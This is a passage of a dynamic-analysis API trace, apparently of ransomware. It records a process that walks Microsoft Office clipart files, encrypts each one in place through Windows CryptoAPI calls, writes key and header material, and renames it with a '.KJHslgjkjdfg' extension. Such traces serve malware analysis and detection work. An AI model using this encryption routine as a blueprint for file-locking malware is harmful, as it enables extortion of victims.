hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.292] SetEndOfFile (hFile=0x130) returned 1 [0194.294] GetProcessHeap () returned 0x2ef0000 [0194.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.294] GetProcessHeap () returned 0x2ef0000 [0194.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.kjhslgjkjdfg")) returned 1 [0194.295] CloseHandle (hObject=0x130) returned 1 [0194.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0194.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.295] GetProcessHeap () returned 0x2ef0000 [0194.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.296] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.296] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.298] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.298] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.298] GetProcessHeap () returned 0x2ef0000 [0194.298] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.298] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.298] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.298] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.299] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.299] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x68c, lpOverlapped=0x0) returned 1 [0194.299] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x690, dwBufLen=0x690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x690) returned 1 [0194.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.299] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x690, lpOverlapped=0x0) returned 1 [0194.299] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.300] SetEndOfFile (hFile=0x130) returned 1 [0194.302] GetProcessHeap () returned 0x2ef0000 [0194.302] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.302] GetProcessHeap () returned 0x2ef0000 [0194.302] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.kjhslgjkjdfg")) returned 1 [0194.303] CloseHandle (hObject=0x130) returned 1 [0194.303] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0194.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.305] GetProcessHeap () returned 0x2ef0000 [0194.305] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.305] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.310] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.310] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.310] GetProcessHeap () returned 0x2ef0000 [0194.310] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.310] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.310] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.310] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.311] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf38, lpOverlapped=0x0) returned 1 [0194.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40, dwBufLen=0xf40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf40, lpOverlapped=0x0) returned 1 [0194.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] SetEndOfFile (hFile=0x130) returned 1 [0194.314] GetProcessHeap () returned 0x2ef0000 [0194.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.314] GetProcessHeap () returned 0x2ef0000 [0194.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.kjhslgjkjdfg")) returned 1 [0194.315] CloseHandle (hObject=0x130) returned 1 [0194.315] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0194.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.316] GetProcessHeap () returned 0x2ef0000 [0194.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.316] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.318] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.318] GetProcessHeap () returned 0x2ef0000 [0194.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.318] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.319] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.319] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xed4, lpOverlapped=0x0) returned 1 [0194.319] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0, dwBufLen=0xee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0) returned 1 [0194.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.319] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xee0, lpOverlapped=0x0) returned 1 [0194.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.320] SetEndOfFile (hFile=0x130) returned 1 [0194.323] GetProcessHeap () returned 0x2ef0000 [0194.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.323] GetProcessHeap () returned 0x2ef0000 [0194.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.kjhslgjkjdfg")) returned 1 [0194.324] CloseHandle (hObject=0x130) returned 1 [0194.324] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0194.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.324] GetProcessHeap () returned 0x2ef0000 [0194.324] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.324] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.324] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.395] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.395] GetProcessHeap () returned 0x2ef0000 [0194.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.395] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.395] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.395] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.396] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x984, lpOverlapped=0x0) returned 1 [0194.396] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x990, dwBufLen=0x990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x990) returned 1 [0194.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.396] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x990, lpOverlapped=0x0) returned 1 [0194.396] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.396] SetEndOfFile (hFile=0x130) returned 1 [0194.399] GetProcessHeap () returned 0x2ef0000 [0194.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.399] GetProcessHeap () returned 0x2ef0000 [0194.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.kjhslgjkjdfg")) returned 1 [0194.408] CloseHandle (hObject=0x130) returned 1 [0194.408] FindNextFileW (in: hFindFile=0x2f18288, 